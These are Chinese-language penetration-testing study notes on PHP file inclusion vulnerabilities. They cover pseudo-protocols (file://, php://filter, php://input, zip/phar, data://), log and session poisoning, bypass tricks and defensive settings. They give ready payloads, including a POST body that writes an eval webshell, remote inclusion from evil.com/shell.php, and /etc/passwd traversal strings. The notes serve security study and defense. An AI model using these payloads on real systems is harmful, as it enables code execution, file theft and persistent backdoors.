渗透高级第一次作业(笔记整理)

PHP文件包含漏洞与伪协议利用指南

目录


漏洞原理

基本概念

  • 定义:通过PHP函数引入文件时,传入的文件名未经过合理验证,导致包含非预期文件

  • 核心:用户输入直接带入包含函数 → 文件泄漏/代码执行

漏洞条件

复制代码
allow_url_fopen = On    // 允许从远程获取数据
allow_url_include = On  // 允许包含远程文件(php5.2后默认Off)

包含函数

函数 错误处理 特点
include() 警告,脚本继续 最常用
require() 致命错误,脚本停止
include_once() 同include,已包含则不重复
require_once() 同require,已包含则不重复

PHP伪协议

协议使用条件总结

协议 allow_url_fopen allow_url_include 主要用途
file:// 任意 任意 读取本地文件
php://filter 任意 任意 读取源码​
php://input 任意 必须On​ 执行POST代码​
zip:// 任意 任意 包含压缩包内文件
phar:// 任意 任意 包含压缩包内文件
data:// 必须On​ 必须On​ 执行URI中的代码

各协议详细用法

1. file:// - 读取本地文件

复制代码
?file=file://D:/www/flag.txt
?file=file:///etc/passwd
  • 特点:双OFF也可用,最简单直接

2. php://filter- 读取源码(最常用)

复制代码
# 基本用法(Base64编码输出)
?file=php://filter/read=convert.base64-encode/resource=index.php

# 多层过滤
?file=php://filter/convert.base64-encode/resource=index.php
  • 注意:必须Base64编码,否则源码会被执行

3. php://input- 执行POST代码(重点)

复制代码
POST /cmd.php?file=php://input HTTP/1.1

<?php system('whoami'); ?>

# 写入木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
  • 技巧 :遇到file_get_contents()验证内容时使用

4. 压缩文件协议

复制代码
# zip:// [绝对路径]#[内部文件]
?file=zip://D:\upload.jpg%23code.php

# phar:// [相对/绝对路径]/[内部文件]  
?file=phar://./upload.zip/code.php
  • 注意 :#需要URL编码为%23

5. data:// - 执行数据流

复制代码
# 明文方式
?file=data://text/plain,<?php phpinfo()?>

# Base64方式  
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

# 简写方式
?file=data:text/plain,<?php phpinfo()?>

特殊文件包含技巧(难点)

1. 包含日志文件

  • 路径 :/var/log/apache2/access.log

  • 方法:将PHP代码写入User-Agent → 包含日志文件

    GET / HTTP/1.1
    User-Agent:

2. 包含Session文件

  • 路径 :/tmp/sess_PHPSESSID

  • 查看路径 :phpinfo()中的session.save_path

  • 方法:控制Session内容 → 包含Session文件

3. 包含上传文件

复制代码
# 制作图片马
copy image.jpg/b + shell.php webshell.jpg

# 上传后包含
?file=./uploads/webshell.jpg

4. 包含临时文件

  • 路径 :Linux /tmp/,Windows `C:\Windows\Temp`

  • 方法:利用文件上传时的临时文件竞争包含

  • 难点:需要暴力猜解文件名


绕过技巧(难点)

1. 路径遍历绕过

复制代码
# 基础遍历
?file=../../etc/passwd

# URL编码绕过
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
?file=..%2f..%2fetc%2fpasswd

# 特殊编码(Apache)
?file=..%c0%afetc%c0%afpasswd

2. 后缀绕过

复制代码
# 原始代码:include($file . ".txt");

# 使用?绕过
?file=http://evil.com/shell.php?

# 使用#绕过  
?file=http://evil.com/shell.php%23

3. 截断绕过(历史方法)

复制代码
# %00截断(PHP<5.3.4)
?file=shell.php%00

# 长度截断
?file=./././...(重复)./shell.php

防御措施(容易)

配置安全

复制代码
; 最小权限原则
allow_url_include = Off
allow_url_fopen = Off

; 限制文件访问范围
open_basedir = /var/www/html

代码层面

复制代码
// 白名单验证
$allow_files = ['home.php', 'about.php'];
if(in_array($file, $allow_files)) {
    include($file);
}

// 严格过滤
$file = str_replace(['../', '..\\'], '', $file);

实战检查清单

基础检测

  • 直接包含测试:?file=../../etc/passwd

  • php://filter读取:?file=php://filter/convert.base64-encode/resource=index.php

  • 检查phpinfo信息

进阶利用

  • php://input执行代码

  • zip/phar协议包含测试

  • 日志文件包含尝试

  • Session文件包含测试

  • 上传文件包含

绕过测试

  • 各种编码方式测试

  • ?/#后缀绕过

  • 路径遍历深度测试


核心记忆点

重点掌握

  1. 伪协议使用条件​ - 攻击成功的基础

  2. php://filter读取源码​ - 最常用手段

  3. 日志/Session包含​ - 高级利用思路

难点注意

  1. 路径编码绕过​ - 需要熟悉各种编码方式

  2. 特殊文件包含​ - 需要了解系统文件结构

  3. 条件竞争利用​ - 技术门槛较高

容易点

  1. 基础包含原理​ - 概念清晰易懂

  2. 防御措施​ - 原则简单明确

  3. 基础绕过​ - 方法直接有效


总结:掌握伪协议条件 > 特殊文件包含 > 绕过技巧 > 基础用法

相关推荐
2601_9578838411 分钟前
2026年9月:雷神专业维修服务保障
笔记
黄金龙PLUS24 分钟前
5个1280比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
三84431 分钟前
TLS + Web API 安全 · 03 · TLS 实战:证书、漏洞与抓包中间人
网络安全·tls·中间人·ca证书
71-31 小时前
MySQL密码重置
数据库·笔记·学习·mysql
咖啡忍者1 小时前
【SAP BASIS】Section 13: Managing Transport Request
笔记
bllovepigpig2 小时前
操作系统个人学习笔记(四):K8s基础
笔记·学习·kubernetes
千舟软件2 小时前
【宿舍管理·产品功能】宿舍水电账单自动算
大数据·运维·科技·安全·业界资讯
有范先生3 小时前
懒人代餐即食米饭:常温全能型,让一顿热饭不受厨房和冰箱限制
笔记
高山有多高3 小时前
【Linux笔记】Linux基本指令
linux·运维·笔记
司南-70493 小时前
AI infra 学习笔记(三):预处理·第一步——QKV 投影到底算了多少
人工智能·笔记·学习